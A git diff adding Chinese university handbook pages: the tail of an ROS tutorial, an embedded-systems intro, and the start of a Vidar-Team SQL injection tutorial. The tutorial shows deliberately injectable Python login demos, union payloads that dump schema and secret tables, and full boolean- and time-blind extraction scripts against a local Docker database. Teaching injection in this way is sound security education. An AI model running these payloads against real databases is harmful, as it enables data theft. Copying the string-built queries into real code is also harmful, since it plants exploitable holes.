+根据以上我讲述的相关内容可知：**ROS 系统的优点在于，你能将社区里的有关机器人的开发模块集大成于一身，并且通过 ROS 与控制板通讯（此时类似于 STM32 的裸机主控便变成了控制板 - 用于接收 ROS 的调控完成相应电机、舵机的控制，或者完成一定的例如 oled 显示的简单任务），从而完成 ROS 系统内部开源算法对整个机器人的控制。**
+
+以下我简单介绍一下 ROS 的基础通讯方式：
+
+在裸机开发中，我们的通讯（不论是蓝牙、WiFi 还是最基础的串口通讯）本质上都来自于串口中断，也就是说裸机开发引入了 ISR 来处理相应的数据接收。ROS 通讯中同样需要这样的函数来完成对目标数据的处理，而在 ROS 中我们称之为回调函数。
+
+我们以话题通讯机制来做简要介绍，在此通讯中需要有两个节点，一个 Publisher（发布者）以及一个 Listener（订阅者），他们将发布和订阅同一个来完成相应的通讯 - 将发布和订阅的内容交给 ROS Master（整体流程类似于 WiFi 中的 mqtt 协议通信，将发布和订阅的内容交给公共服务器，形成一个转接的效果）。
+
+所以通过这样的一个流程，具体的代码如下（以 C++ 为例）：
+
+```cpp
+//Publisher
+int main(int argc, char **argv)
+{
+  //首先我们要初始化节点
+  ros::init(argc, argv, "talker");
+  //其次，为了对这个类更好地进行处理，我们需要创建节点句柄
+  ros::NodeHandle n;
+  //创建一个 Publisher=> pub，发布名为 chat 的 topic，消息类型为 std_msgs::String
+  ros::Publisher pub = n.advertise<std_msgs::String>("chat", 1000);
+  //设置循环的频率，对应着 sleep 延时
+  ros::Rate loop_rate(10);
+
+  while (ros::ok())
+  {
+      // 初始化 std_msgs::String 类型的消息
+      std_msgs::String msg;
+    
+      /*
+      对数据的处理
+      */
+    
+      // 发布消息
+      ROS_INFO("%s", msg.data.c_str());
+      pub.publish(msg);
+      // 循环等待回调函数
+      ros::spinOnce();
+      // 按照循环频率延时
+      loop_rate.sleep();
+  }
+  return 0;
+}
+```
+
+```cpp
+//Listener
+int main(int argc, char **argv)
+{
+  //节点与节点句柄是必不可缺的
+  ros::init(argc, argv, "listener");
+  ros::NodeHandle n;
+  // 创建一个 Subscriber，订阅名为 chatter 的 topic，注册回调函数 chatCallback
+  ros::Subscriber sub = n.subscribe("chat", 1000, chatCallback);
+  // 循环等待回调函数
+  ros::spin();
+  return 0;
+}
+```
+
+而其中，在 Listener 中出现了回调函数，其功能类似于裸机中的中断控制 - 当接收到对应的订阅消息后，进行对应的数据、逻辑处理，例如如果我只是想把接收到的数据打印出来的话，我可以这么写回调函数 chatCallback：
+
+```cpp
+void chatterCallback(const std_msgs::String::ConstPtr& msg)
+{
+  ROS_INFO("I heard: [%s]", msg->data.c_str());
+}
+```
+
+至于 ROS 其他的内容便不在这里阐述，ROS 是机器人开发者的福音，此模块是希望有更多地人能注意到这样的良心开源平台，并督促各位进行相关的知识学习，可供参考的文档或者学习视频如下：
+
+1、b 站古月居 ROS21 讲（讲的比较浅，但是可以作为入门学习视频，了解整个框架，感兴趣地可以看胡老师的 ROS2 系列视频，毕竟 ROS1 近期已经停更了，要保持不断学习的姿态）
+
+<Bilibili bvid='BV1zt411G7Vn'/>
+
+**提一嘴：很多人学 ROS 就学一个开头 - 比如就学了古月居的 21 讲，就认为自己已经了解到了 ROS 的大部分内容了****（不会有人现在还是纯看视频学习吧）****，实际上这是非常错误的想法。当你学完了视频的内容后，你甚至可能不会移植 wiki 上的功能包（x_x），甚至不知道如何去开发一个真实的机器人（因为此 21 讲只是理论上的讲解，去做一个虚拟机器人在 gazebo 上运行）。ROS 的学习上需要我们花大量的心思去学会接触新的东西，你们并不能只局限于我提供的推荐学习资料，因为相应的功能包不是一成不变的，而且也不是只有那么几个功能包，当你感受了 ROS 的自主建图、自主导航、机械臂控制、机器学习开发等等等等等等后，你才会发现 ROS 的世界是如此美妙！**
+
+2、b 站赵虚左 ROS 课程（讲得细致多了，需要耐心看下去，要是我入门 ROS 的时候有这个视频就好了）
+
+<Bilibili bvid='BV1Ci4y1L7ZZ'/>
+
+3、古月居的《ROS 机器人开发实践》（根据国外的《ROS By Example》改编，但是更贴近于入门开发，会有相关功能包更细致的解析）
+
+4、[http://wiki.ros.org/cn](http://wiki.ros.org/cn)（不会用 ROSwiki 的 ROS 玩家不是好 ROS 玩家）
+
+如果未来有能力的话，希望我们能反哺 ROS 社区，促进开源社区的发展。
+
+## 其他常见嵌入式操作系统（入门仅作了解）
+
+相对于通用计算机操作系统而言，嵌入式操作系统除有任务调度、同步机制、内存管理、中断处理、文件处理等基本功能外更有其强大的实时性、强稳定性、硬件适应性等等。与通用计算机不同，嵌入式操作系统行业是一个百家争鸣的环境，没有一款产品能够占据绝对统治地位，但是也有很多应用面较广、有突出特色的嵌入式操作系统享有较高的知名度。
+
+1、微软的嵌入式 Windows 操作系统（从个人计算机到嵌入式系统的更变）
+
+此嵌入式操作系统的初衷就是“使当今的个人计算机复杂的软件环境扩展到嵌入式世界”，也就是说希望能在嵌入式产品上用到 windows 系统的桌面软件。主流上 EOS 分为两个：Windows Embedded Compact（WEC）系列和 Windows Embedded（WE）系列。常见用于手持设备、机顶盒、数码娱乐设备等等。
+
+2、VxWorks（集多种处理器大成的操作系统）
+
+VxWorks 是硬实时操作系统，比 FreeRTOS 这类软实时操作系统有更强的实时性，更加专注于人的交互性、可靠性，用于军事、航空、控制等领域。并且 VxWorks 支持 PowerPC、CPU32、x86 等多种嵌入式处理器体系，所以有较好的可裁剪性、兼容性。
diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.富有生命的嵌入式.md b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.富有生命的嵌入式.md
new file mode 100644
index 0000000..8607f45
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.富有生命的嵌入式.md
@@ -0,0 +1,21 @@
+# 5.富有生命的嵌入式
+
+> Author：肖扬
+
+孵化器实验室 2023 招新群 (QQ): 879805955
+
+预热 OJ 平台：[OJ 平台 (C 语言为主)](http://hdufhq.cn/)
+
+> 实验室不仅有嵌入式方向，还有硬件、网络 web 开发方向！
+
+在本模块，我们将为你讲述何为嵌入式、如何学嵌入式、如何爱上嵌入式
+
+同时我们希望你知道，大学本就不止枯燥的学业
+
+它会是一两醉人的花酒，亦可能会是一张泛黄的纸，一场绝美的梦
+
+> “点星星之火，燃燎原之势，热血芳华，理想当燃”
+
+![](https://cdn.xyxsw.site/boxcn3t2GyLQqe4RpGdRtakcwBc.png)
+
+ps：若对此部分讲义有相关疑问或者建议，欢迎 QQ 联系 -1213047454
diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/CZ3cbiEhsoWDgJxhwXIcpUkAnMg.png b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/CZ3cbiEhsoWDgJxhwXIcpUkAnMg.png
new file mode 100644
index 0000000..b8d1d41
Binary files /dev/null and b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/CZ3cbiEhsoWDgJxhwXIcpUkAnMg.png differ
diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/HTFUbsQCNouQVzx0QYiciQWOnZf.png b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/HTFUbsQCNouQVzx0QYiciQWOnZf.png
new file mode 100644
index 0000000..b25a486
Binary files /dev/null and b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/HTFUbsQCNouQVzx0QYiciQWOnZf.png differ
diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/LJ1SbFfv6oUIgtx8CstcbWTNnRg.png b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/LJ1SbFfv6oUIgtx8CstcbWTNnRg.png
new file mode 100644
index 0000000..8ea7b21
Binary files /dev/null and b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/LJ1SbFfv6oUIgtx8CstcbWTNnRg.png differ
diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/MyDMbeCKLowC1Mx7Q6Ec9BLPn4g.png b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/MyDMbeCKLowC1Mx7Q6Ec9BLPn4g.png
new file mode 100644
index 0000000..45f6cca
Binary files /dev/null and b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/MyDMbeCKLowC1Mx7Q6Ec9BLPn4g.png differ
diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcn3t2GyLQqe4RpGdRtakcwBc.png b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcn3t2GyLQqe4RpGdRtakcwBc.png
new file mode 100644
index 0000000..a9c2adc
Binary files /dev/null and b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcn3t2GyLQqe4RpGdRtakcwBc.png differ
diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcn99MPmacSrXPkIgQ13FLABc.jpg b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcn99MPmacSrXPkIgQ13FLABc.jpg
new file mode 100644
index 0000000..741b485
Binary files /dev/null and b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcn99MPmacSrXPkIgQ13FLABc.jpg differ
diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcnFySF1Cd02I052V0a9glH1c.png b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcnFySF1Cd02I052V0a9glH1c.png
new file mode 100644
index 0000000..5c61eea
Binary files /dev/null and b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcnFySF1Cd02I052V0a9glH1c.png differ
diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcnRy7E27xggqNshXX3cu4J5Q.png b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcnRy7E27xggqNshXX3cu4J5Q.png
new file mode 100644
index 0000000..7380d78
Binary files /dev/null and b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcnRy7E27xggqNshXX3cu4J5Q.png differ
diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcntQgR61yRboDpyb1bpI10Xp.png b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcntQgR61yRboDpyb1bpI10Xp.png
new file mode 100644
index 0000000..f2fc84e
Binary files /dev/null and b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcntQgR61yRboDpyb1bpI10Xp.png differ
diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcny07MPlh99IIS5yxAdL4iDb.png b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcny07MPlh99IIS5yxAdL4iDb.png
new file mode 100644
index 0000000..4759dec
Binary files /dev/null and b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/static/boxcny07MPlh99IIS5yxAdL4iDb.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/6.1.1SQL 注入.md b/技术资源汇总(杭电支持版)/6.计算机安全/6.1.1SQL 注入.md
new file mode 100644
index 0000000..ef00655
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/6.计算机安全/6.1.1SQL 注入.md	
@@ -0,0 +1,938 @@
+# SQL 注入
+
+Author: `Liki4` from Vidar-Team
+
+Vidar-Team 2023 招新 QQ 群：861507440（仅向校内开放）
+
+Vidar-Team 官网：[https://vidar.club/](https://vidar.club/)
+
+Vidar-Team 招新报名表：[https://reg.vidar.club/](https://reg.vidar.club/)
+
+本文中所有涉及的代码全部都托管在 [https://github.com/Liki4/SQLi](https://github.com/Liki4/SQLi)
+
+## 前言
+
+在当代优秀年轻程序员设计与编写 Web 应用的时候，或多或少会使用到一种叫数据库的东西，如字面意义，这种东西通常用来储存数据，例如用户的个人信息，账户名称和密码等。
+
+当然这些东西即便用记事本也可以储存，只需要将数据输出到一个文本文件里，事后需要使用的时候再搜索即可。但当数据量逐渐庞大，又对数据的增删改查有所需求的时候，记事本就显得有些心有余而力不足了。
+
+于是数据库诞生了，随之诞生了一种名为 SQL 的语言，用以对数据库进行增删改查和更多其他的操作。使用 SQL 语句，可以方便地从数据库中查询出想要的数据，可以方便地找出不同类型数据之间的联系并对他们进行一定的操作。例如当今天你没有做核酸的时候，某些系统就会找出你的个人信息，并对你的健康码进行一个改天换色，同时也将对你的出行码等信息造成影响，这其中所有的过程都离不开 SQL 语句的辛勤付出，因此对其进行研究是非常必要的 :-p
+
+有关 SQL 语句的基本知识，可以参考 [SQL Tutorial](https://www.w3schools.com/sql/)
+
+## 简介
+
+在旧时代诞生的 Web 应用，不少都直接使用了原始 SQL 语句拼接的方式来完成查询，举个例子
+
+```python
+def check_pass(username, password):
+    hash = conn.exec(f"SELECT password FROM users WHERE username = '{username}'")
+    return (sha256(password) == hash)
+```
+
+这是一个普通 Web 应用里常见的密码校验函数，的伪代码
+
+从 `users` 表中查出 `username` 对应的 `password` 的哈希值，将其与用户传入的密码哈希值进行比对，若相等则意味着用户传入的密码与数据库中储存的密码相吻合，于是返回准许登录
+
+![](https://cdn.xyxsw.site/boxcnHiNBWN86AR4AvSSsUVwSWb.png)
+
+那么问题来了，在语句
+
+```sql
+SELECT password FROM users WHERE username = '{username}'
+```
+
+之中，如果参数 `username` 未经过校验，直接使用用户传入的原生字符串，会不会出现什么问题呢？
+
+这就是本篇 SQL 注入要讨论的问题
+
+## SQL 注入中的信息搜集
+
+### 信息的获取
+
+```python
+1. version() 数据库版本
+2. user() 数据库用户名
+3. database() 数据库名
+4. @@datadir 数据库路径
+5. @@version_compile_os 操作系统版本
+```
+
+### 字符串拼接
+
+1. `concat(str1,str2,…)` 能够将你查询的字段连接在一起
+2. `concat_ws(separator,str1,str2,)` 能够自定义分隔符来将你查询的字段链接在一起
+3. `group_concat([DISTINCT] column [Order BY ASC/DESC column] [Separator separator])`
+
+一般来说这个函数是配合 `group by` 子句来使用的，但是在 SQL 注入中，我们用他来输出查询出来的所有数据
+
+```python
+mysql> select id, username, password from users;
++----+----------+------------+
+| id | username | password   |
++----+----------+------------+
+|  1 | Dumb     | Dumb       |
+|  2 | Angelina | I-kill-you |
+|  3 | Dummy    | p@ssword   |
+|  4 | secure   | crappy     |
+|  5 | stupid   | stupidity  |
+|  6 | superman | genious    |
+|  7 | batman   | mob!le     |
+|  8 | admin    | admin      |
+|  9 | admin1   | admin1     |
+| 10 | admin2   | admin2     |
+| 11 | admin3   | admin3     |
+| 12 | dhakkan  | dumbo      |
+| 14 | admin4   | admin4     |
++----+----------+------------+
+13 rows in set (0.01 sec)
+
+mysql> select concat(id,username,password) from users;
++------------------------------+
+| concat(id,username,password) |
++------------------------------+
+| 1DumbDumb                    |
+| 2AngelinaI-kill-you          |
+| 3Dummyp@ssword               |
+| 4securecrappy                |
+| 5stupidstupidity             |
+| 6supermangenious             |
+| 7batmanmob!le                |
+| 8adminadmin                  |
+| 9admin1admin1                |
+| 10admin2admin2               |
+| 11admin3admin3               |
+| 12dhakkandumbo               |
+| 14admin4admin4               |
++------------------------------+
+13 rows in set (0.01 sec)
+
+mysql> select concat(id,username,password) from users;
++------------------------------+
+| concat(id,username,password) |
++------------------------------+
+| 1DumbDumb                    |
+| 2AngelinaI-kill-you          |
+| 3Dummyp@ssword               |
+| 4securecrappy                |
+| 5stupidstupidity             |
+| 6supermangenious             |
+| 7batmanmob!le                |
+| 8adminadmin                  |
+| 9admin1admin1                |
+| 10admin2admin2               |
+| 11admin3admin3               |
+| 12dhakkandumbo               |
+| 14admin4admin4               |
++------------------------------+
+13 rows in set (0.01 sec)
+
+mysql> select group_concat(id,username separator '_') from users;
++--------------------------------------------------------------------------------------------------------------+
+| group_concat(id,username separator '_')                                                                      |
++--------------------------------------------------------------------------------------------------------------+
+| 1Dumb_2Angelina_3Dummy_4secure_5stupid_6superman_7batman_8admin_9admin1_10admin2_11admin3_12dhakkan_14admin4 |
++--------------------------------------------------------------------------------------------------------------+
+1 row in set (0.00 sec)
+```
+
+## 前置知识
+
+接着上一节的节奏走，如果我们传入的 `username` 参数中有单引号会发生什么呢
+
+> 以下所举的例子都在 MySQL 5.x 版本完成
+
+现在我们传入 `Liki4'` 这个字符串
+
+![](https://cdn.xyxsw.site/boxcn8TrpE02fnPV7dFzkmnHiAe.png)
+
+很遗憾，报错了，这个查询因为 SQL 语句存在语法错误而无法完成。
+
+那么问题来了，怎么让他不报错的情况下完成查询呢？
+
+在 MySQL 语句中，`#` 和 `--` 代表行间注释，与 C 语言的 `//` 和 Python 中的 `#` 是同样的意思。也就是说，一个 MySQL 语句中如果存在 `#` 和 `--`，那么这一行其后的所有字符都将视为注释，不予执行。
+
+那如果我们传入 `Liki4';#` 这个字符串，那么在拼接后的查询又是什么结果呢
+
+![](https://cdn.xyxsw.site/boxcnbAKreqEeZxOYQuQMtZbd9d.png)
+
+很显然，`#` 号将原本语句的 `';` 注释掉了
+
+而我们传入的字符串构成了全新的语法正确的语句，并完成了一次查询！
+
+那我们是否可以查询一些...不属于我们自己的信息呢？答案是可以的。
+
+例如我们传入一个精心构造的字符串
+
+`raw_sql_danger' UNION SELECT password FROM users WHERE username = 'Liki5';#`
+
+![](https://cdn.xyxsw.site/boxcniDohuM3F8FbMqz7YSC0Y5g.png)
+
+**真是惊人的壮举！我完全不认识这个叫 Liki5 的家伙，但我居然知道了他的密码对应的哈希值！**
+
+<del>那么到这里 SQL 注入你就已经完全学会了，接下来做一些小练习吧。</del>
+
+<del>请挖掘 Django ORM 最新版本的注入漏洞并与我分享，我会请你喝一杯奶茶作为谢礼。</del>
+
+## SQL 注入入门
+
+接下来的举例几乎都不会以 Web 的形式出现，虽然你去看别的文档都是起个 Web 应用，但我懒
+
+反正都是一样的东西，是否以 Web 应用的形式没差，请不要来杠
+
+### SQL 注入的常见类型
+
+SQL 注入的常见类型分为以下几种，在后面的章节里会慢慢地讲述不同类型的区别和攻击手法
+
+按照攻击手法来分类可以分为以下几种
+
+1. 有回显的 SQL 注入
+2. 无回显的 SQL 盲注
+3. 布尔盲注
+4. 时间盲注
+5. 基于报错的 SQL 注入
+6. 堆叠注入
+7. 二次注入
+
+按照注入点来分类可以分为以下几种
+
+1. 字符型注入
+2. 数字型注入
+
+注入点的分类只在于语句构造时微小的区别，因此不作详细的说明
+
+当然，不同的数据库后端因为其不同的内置函数等差异，有着不同的攻击手法，但都大同小异。
+
+常见的数据库有下列几个
+
+1. MySQL
+2. MSSQL
+3. OracleDB
+4. SQLite
+
+当然还有一些新兴的<del>前沿科技</del>数据库
+
+1. ClickHouse
+2. PostgreSQL
+
+还有一些和传统数据库设计理念不一样的 noSQL 数据库
+
+1. MongoDB
+2. AmazonRD
+3. ...
+
+后续的章节里，会采用入门时最常见的 MySQL 数据库来举例，环境可以用 Docker 简单地创建一个
+
+```yaml
+# docker-compose.yml
+# docker-compose up -d --build
+
+version: "3.8"
+services:
+    db:
+        image: mysql:5.7
+        container_name: "mysql5-docker"
+        command: --default-authentication-plugin=mysql_native_password --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci --sql-mode=''
+        ports:
+            - "3305:3306"
+        environment:
+            - MYSQL_ROOT_PASSWORD=TjsDgwGPz5ANbJUU
+        healthcheck:
+            test: ["CMD", "mysqladmin" ,"ping", "-h", "localhost"]
+            interval: 2s
+            timeout: 5s
+            retries: 30
+```
+
+### 有回显的 SQL 注入
+
+我这里写了一个小 demo 来进行展示，demo 代码如下，为了好看我用 prettytable 格式化了输出
+
+```python
+#!/usr/bin/python
+# -*- coding: UTF-8 -*-
+
+from sqlalchemy import create_engine
+from prettytable import from_db_cursor
+
+engine = create_engine("mysql+pymysql://root:TjsDgwGPz5ANbJUU@127.0.0.1:3305/sqli", max_overflow=5)
+
+def query(username):
+    with engine.connect() as con:
+        cur = con.execute(f"SELECT * FROM users WHERE username = '{username}'").cursor
+        x = from_db_cursor(cur)
+        return(x)    # 返回查询的结果
+
+def main():
+    username = input("Give me your username: ")
+    print(query(username))
+
+if __name__ == "__main__":
+    main()
+```
+
+接下来我们进行一次常规查询
+
+![](https://cdn.xyxsw.site/boxcnpCCmEi6LIKNi0UqEkXfJ8g.png)
+
+可以看到我们成功从数据库中查出了 `username` 和 `password`，并显示在返回中
+
+现在我们构造一些恶意语句，比如 `123' UNION SELECT 1, 2;#`
+
+现在我们将执行的语句打印出来看看，对代码进行一些小改动
+
+```bash
+...
+def query(username):
+    with engine.connect() as con:
+        query_exec = f"SELECT * FROM users WHERE username = '{username}'"
+        print(query_exec)
+        cur = con.execute(query_exec).cursor
+        x = from_db_cursor(cur)
+        return(x)
+...
+```
+
+![](https://cdn.xyxsw.site/boxcnbaW15gnJc1O9Iv9WXqJxPc.png)
+
+可以看到，实际执行的语句为
+
+```sql
+SELECT * FROM users WHERE username = '123' UNION SELECT 1, 2;#'
+```
+
+也就是说，在这个 demo 中，从数据库查询的内容会直接返回给用户，用户可以直接看到查询的内容
+
+那我们是否可以进行一些其他的查询呢
+
+构造语句 `123' UNION SELECT DATABASE(), @@version;#`
+
+![](https://cdn.xyxsw.site/boxcnDeDp5yPE7W4KX9ByBl9ovh.png)
+
+我们就能看到返回中包含了当前数据库名与当前数据库版本
+
+如果数据库中除了 `users` 表还有其他的东西，我们是否能通过这个注入来获取呢...
+
+构造语句 `123' UNION SELECT table_name, column_name FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE();#`
+
+> `information_schema` 库是一个 MySQL 内置数据库，储存了数据库中的一些基本信息，比如数据库名，表名，列名等一系列关键数据，SQL 注入中可以查询该库来获取数据库中的敏感信息。
+
+![](https://cdn.xyxsw.site/boxcnkwvSnhKBhlHNLOSthgul9d.png)
+
+我们可以发现，当前数据库中还存在一张叫 `secret` 的表，让我们偷看一下里面存的是什么
+
+构造语句 `123' UNION SELECT 1, secret_string FROM secret;#`
+
+![](https://cdn.xyxsw.site/boxcn3kfhJ79ByNML2Z1Q1MwRye.png)
+
+好像得到了什么不得了的秘密 :-)
+
+### 无回显的 SQL 盲注
+
+#### 布尔盲注
+
+我们对有回显的 SQL 注入的 demo 进行一点修改，代码如下
+
+```python
+#!/usr/bin/python
+# -*- coding: UTF-8 -*-
+
+from sqlalchemy import create_engine
+from hashlib import sha256
+
+engine = create_engine("mysql+pymysql://root:TjsDgwGPz5ANbJUU@127.0.0.1:3305/sqli", max_overflow=5)
+
+def query(username, password):
+    with engine.connect() as con:
+        query_exec = f"SELECT password FROM users WHERE username = '{username}'"
+        print(query_exec)
+        if con.execute(query_exec).scalar():
+            passhash = con.execute(query_exec).fetchone()[0]
+            return passhash == sha256(password.encode()).hexdigest()
+        return False
+
+def main():
+    username = input("Give me your username: ")
+    password = input("Give me your password: ")
+    print("Login success" if query(username, password) else "Login failed")
+    # 不再显示查询结果，而返回 success 或 failed
+
+if __name__ == "__main__":
+    main()
+```
+
+这样一来我们就只能知道自己是否登录成功，并不能看到查询返回的结果了
+
+![](https://cdn.xyxsw.site/boxcn2seUNESHkLC9PYvDp0vFbe.png)
+
+那也就是说，我们无法直观地查看数据库中的数据了，即便查出了不该查的也看不到了 :-(
+
+那有没有什么办法击破这个限制呢？是时候该本章的主角，布尔盲注出场了
+
+观察程序的逻辑，如果查询特定用户的密码与用户的输入匹配，则登陆成功，否则登陆失败
+
+我们是否能控制语句是否将对应用户的密码查询出来呢？
+
+在 MySQL 中有一种格式为 `if(expression, if_true, if_false)` 的分支语句
+
+类比 Python 则可以写成
+
+```python
+if (expression):
+    if_true
+else:
+    if_false
+```
+
+如果我们可以通过 `if` 语句来控制整个 SQL 语句是否查询成功，不就可以获取一些信息了吗？
+
+当 if 语句为真时才将对应用户的密码查询出来，这样一来就能够通过用户验证，结果即为登陆成功
+
+当 if 语句为假时则不将对应用户的密码查询出来，程序无从比对，也就无法通过用户验证了
+
+有点抽象？没关系继续往下看。
+
+构造语句 `Liki4' and if(@@version rlike '^5',1,0);#`
+
+> rlike 是 MySQL 中的一个关键字，是 regex 和 like 的结合体
+
+![](https://cdn.xyxsw.site/boxcnJEeAKow3ZhUSvbL4FQXxOh.png)
+
+这里实际执行的语句就变成了
+
+```sql
+SELECT password FROM users WHERE username = 'Liki4' AND if(@@version rlike '^5',1,0);
+```
+
+![](https://cdn.xyxsw.site/boxcnJ3jImTQcMUOWJclTACj74e.png)
+
+```sql
+SELECT password FROM users WHERE username = 'Liki4' AND if(@@version rlike '^8',1,0);
+```
+
+![](https://cdn.xyxsw.site/boxcnEDPFbKQ6iaM5WhHWUWmI5d.png)
+
+也就是说，当 if 语句中的条件为真时，这个查询才会将 password 查询出来
+
+如果 if 语句为假，这个条件为假的查询就不成立，查询的结果也为空了
+
+从上面这个例子里我们就可以得出当前 MySQL 为 MySQL 5
+
+如此一来我们就可以通过枚举爆破得到数据库名，表名，列名，进而得到数据库中存储的数据了
+
+其中关键的语句如下
+
+```sql
+if(DATABASE() rlike '^{exp}',1,0) # 获取数据库名
+if((SELECT GROUP_CONCAT(table_name, ':', column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE()) rlike '^{exp}',1,0) # 获取表名与字段名
+if((SELECT binary GROUP_CONCAT(secret_string) FROM secret) rlike '^{exp}',1,0) # 获取存储的数据
+```
+
+完整 exp 如下
+
+```python
+from mysqli_invisible_bool import *
+import string
+import io
+import sys
+
+def escape_string(c):
+    return "\\" + c if c in ".+*" else c
+
+def exp():
+    payload_template = "Liki4' AND if({exp},1,0);#"
+    space = string.ascii_letters + string.digits + ' _:,$.'
+
+    exp_template = "@@version RLIKE '^{c}'"
+    exp_template = "DATABASE() RLIKE '^{c}'"
+    exp_template = "(SELECT GROUP_CONCAT(table_name, ':', column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE()) RLIKE '^{c}'"
+    exp_template = "(SELECT binary GROUP_CONCAT(secret_string) FROM secret) RLIKE '^{c}'"
+
+    print(exp_template)
+
+    Flag = True
+
+    data = ""
+
+    while Flag:
+        ori_stdout = sys.stdout
+        for c in space:
+            payload = payload_template.format(exp=exp_template.format(c=data+c))
+            sys.stdin = io.StringIO(payload + '\n123\n')
+            res = sys.stdout = io.StringIO()
+            main()
+            output = str(res.getvalue())
+            if "failed" in output:
+                continue
+            if c == "$":
+                Flag = False
+                break
+            if "success" in output:
+                data += c
+                break
+        sys.stdout = ori_stdout
+        if Flag:
+            print(data, end="\r")
+        else:
+            print(data)
+
+if __name__ == "__main__":
+    exp()
+```
+
+![](https://cdn.xyxsw.site/boxcnXyMaLh26lkNuAPiQVHuaNg.png)
+
+#### 时间盲注
+
+时间盲注的场景和原理与布尔盲注类似，都是在没有回显查询结果的时候使用的
+
+能用布尔盲注的地方一般都能用时间盲注，但能用时间盲注的地方不一定能用布尔盲注
+
+有的场景在完全没有回显，甚至没有能表示语句是否查询完成的东西存在时，时间盲注就派上用场了
+
+这里可以直接沿用布尔盲注的场景
+
+```python
+#!/usr/bin/python
+# -*- coding: UTF-8 -*-
+
+from sqlalchemy import create_engine
+from hashlib import sha256
+
+engine = create_engine("mysql+pymysql://root:TjsDgwGPz5ANbJUU@127.0.0.1:3305/sqli", max_overflow=5)
+
+def query(username, password):
+    with engine.connect() as con:
+        query_exec = f"SELECT password FROM users WHERE username = '{username}'"
+        print(query_exec)
+        if con.execute(query_exec).scalar():
+            passhash = con.execute(query_exec).fetchone()[0]
+            return passhash == sha256(password.encode()).hexdigest()
+        return False
+
+def main():
+    username = input("Give me your username: ")
+    password = input("Give me your password: ")
+    print("Login success" if query(username, password) else "Login failed")
+
+if __name__ == "__main__":
+    main()
+```
+
+如果想要让布尔盲注不可用，我们可以做一个假设，假设我们并不知道账户的密码，也就无法通过登陆验证，这个时候就失去了布尔盲注最大的依赖，也就无法得知 if 表达式的真或假了。
+
+![](https://cdn.xyxsw.site/boxcndxf4WEQQQEXspS7GwNKI6J.png)
+
+但，真的没办法了吗？
+
+在 MySQL 中存在一个延时函数 sleep()，可以延时特定的秒数
+
+如果我们将 if 语句中的返回值改成延时函数会如何呢？
+
+当 if 语句为真时进行一个延时，当 if 语句为假时即刻返回
+
+于是我们就可以通过查询进行的时间长短来判断语句是否为真了！
+
+完整的 exp 如下
+
+```python
+from mysqli_invisible_time import *
+import string
+import io
+import sys
+import signal
+
+def handler(signum, frame):
+    raise Exception("timeout")
+
+signal.signal(signal.SIGALRM, handler)
+
+def escape_string(c):
+    return "\\" + c if c in ".+*" else c
+
+def exp():
+    payload_template = "Liki4' AND if({exp},SLEEP(1),0);#"
+    space = string.ascii_letters + string.digits + ' _:,$.'
+
+    exp_template = "@@version RLIKE '^{c}'"
+    exp_template = "DATABASE() RLIKE '^{c}'"
+    exp_template = "(SELECT GROUP_CONCAT(table_name, ':', column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE()) RLIKE '^{c}'"
+    exp_template = "(SELECT binary GROUP_CONCAT(secret_string) FROM secret) RLIKE '^{c}'"
+
+    print(exp_template)
+
+    Flag = True
+
+    data = ""
+
+    while Flag:
+        ori_stdout = sys.stdout
+        for c in space:
+            payload = payload_template.format(exp=exp_template.format(c=data+c))
+            sys.stdin = io.StringIO(payload + '\n555_i_dont_know_password')
+            res = sys.stdout = io.StringIO()
+
+            signal.alarm(1)
+            try:
+                main()
+                print("timeout")
+            except:
+                print("bingooo")
+            
+            output = str(res.getvalue())
+            if "timeout" in output:
+                continue
+            if c == "$":
+                Flag = False
+                break
+            if "bingooo" in output:
+                data += c
+                break
+        sys.stdout = ori_stdout
+        if Flag:
+            print(data, end="\r")
+        else:
+            print(data)
+
+if __name__ == "__main__":
+    exp()
+```
+
+![](https://cdn.xyxsw.site/boxcnsStdHC5VmBylyx6S7hakEb.png)
+
+### 基于报错的 SQL 注入 (TODO)
+
